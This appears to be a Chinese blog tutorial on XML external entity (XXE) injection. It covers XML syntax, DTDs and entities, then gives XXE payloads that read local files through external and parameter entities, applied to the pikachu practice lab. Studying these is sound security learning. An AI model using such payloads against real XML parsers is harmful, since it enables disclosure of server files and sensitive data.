xxe
xml external entity
外部实体注入,用户输入恶意
xml
被后台解析了恶意语句
owasptop10--
不安全的配置
xml
是什么??
XML
指可扩展标记语言(
EXtensible Markup Language
)。
XML
是一种很像
HTML
的标记语言。
XML
的设计宗旨是传输数据,而不是显示数据。
XML
标签没有被预定义。您需要自行定义标签。
XML
被设计为具有自我描述性。
语法
<?xml version="1.0" encoding="UTF-8"?>
<a>
<b>
1
</b>
<c>
2
</c>
</a>
①需要根节点
②标签用一 一对应的形式呈现,即每个标签需闭合
③
xml
声明(可选)
④
xml
对大小写敏感
⑤便签尽量不已
xml
开头
⑥名称中不包含空格
⑦不能以特殊符号开头
作用
①数据传输
②存储数据
xml
的合法性
xml
语法正确仅是格式、型正确
通过
dtd
验证
xml
是否合法
DTD(DOCUMENT TYPE DEFINITION)
文档类型定义
内部
DTD
:
DTD
文件包含于
xml
例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user[<!ELEMENT user (username,password,age,class,school)>
<!ELEMENT username (#PCDATA)>
<!ELEMENT password (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT class (#PCDATA)>
<!ELEMENT school (#PCDATA)>]>
<user>
<username>
zhang san
</username>
<password>
abc@123
</password>
<age>
1.9
</age>
<class>
家里蹲
</class>
<school>
1+1
</school>
</user>
!DOCTYPE
定义此文档为
user
类型文档
!ELEMENT
声明
user
中有那些元素,
!ELEMENT
声明元素类型,
PCDATA:
可被解析器解释的文本;
CDATA:
不会被解析器解释
外部
DTD
<!DOCTYPE root-element SYSTEM "filename">
例:
test.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user SYSTEM "test.dtd">
<user>
<username>
zhang san
</username>
<password>
abc@123
</password>
<age>
1.9
</age>
<class>
家里蹲
</class>
<school>
1+1
</school>
</user>
test.dtd
<!ELEMENT user (username,password,age,class,school)>
<!ELEMENT username (#PCDATA)>
<!ELEMENT password (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT class (#PCDATA)>
<!ELEMENT school (#PCDATA)>
DTD
实体
定义文本内容的变量
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE student[
<!ELEMENT student (name,age)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ENTITY a "zhangsan">
<!ENTITY b "8">
]>
<student>
<name>
&a;
</name>
<age>
&b;
</age>
</student>
注:
&
实体名 ;
a
,
b
相当于变量但以实体的方式表示
,
实体如:
<
等,但在
xml
中实体名是可以自由定义的
![](https://i-blog.csdnimg.cn/blog_migrate/af3ad7f327481fe52a28bcd0a2f1356a.png)
![](https://i-blog.csdnimg.cn/blog_migrate/7d1f389db586f271f5adb734ac0bb2e6.png)
还可以不定义元素直接写实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE student[
<!ENTITY a "zhangsan">
]>
<student>
<name>
&a;
</name>
</student>
外部实体
<!DOCTYPE root-element[<!ENTITY entity-name SYSTEM "
资源位置
">]>
例
:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE student[
<!ENTITY a SYSTEM "file://D:\phpstudy_pro\WWW\xxe\test4.dtd">
]>
<student>
<name>
&a;
</name>
</student>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY a SYSTEM "file://D:\phpstudy_pro\WWW\xxe\test4.dtd">
]>
<name>
&a;
</name>
在外部
dtd
的基础上新增一个实体的约束即可
参数实体
<!ENTITY %
实体名称
"
实体值
">
<!ENTITY %
实体名称
SYSTEM "URI">
例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % a SYSTEM "http://127.0.0.1/test.dtd">
%a;
]>
<name>
&s;
</name>
test.dtd
<!ENTITY s SYSTEM "file://xxxx">
为例
pikachu
pikachu
设置了一个通过
php
解析
xml
文件内容的页面
传入
xml
如下,通过参数实体获取敏感信息
![](https://i-blog.csdnimg.cn/blog_migrate/4333a4c514ecadceefcab67cd0c9f05d.png)
![](https://i-blog.csdnimg.cn/blog_migrate/60e935fdc717683eb7bb8e85c4d76635.png)
![](https://i-blog.csdnimg.cn/blog_migrate/68e33e47b12255347d162ac01375004a.png)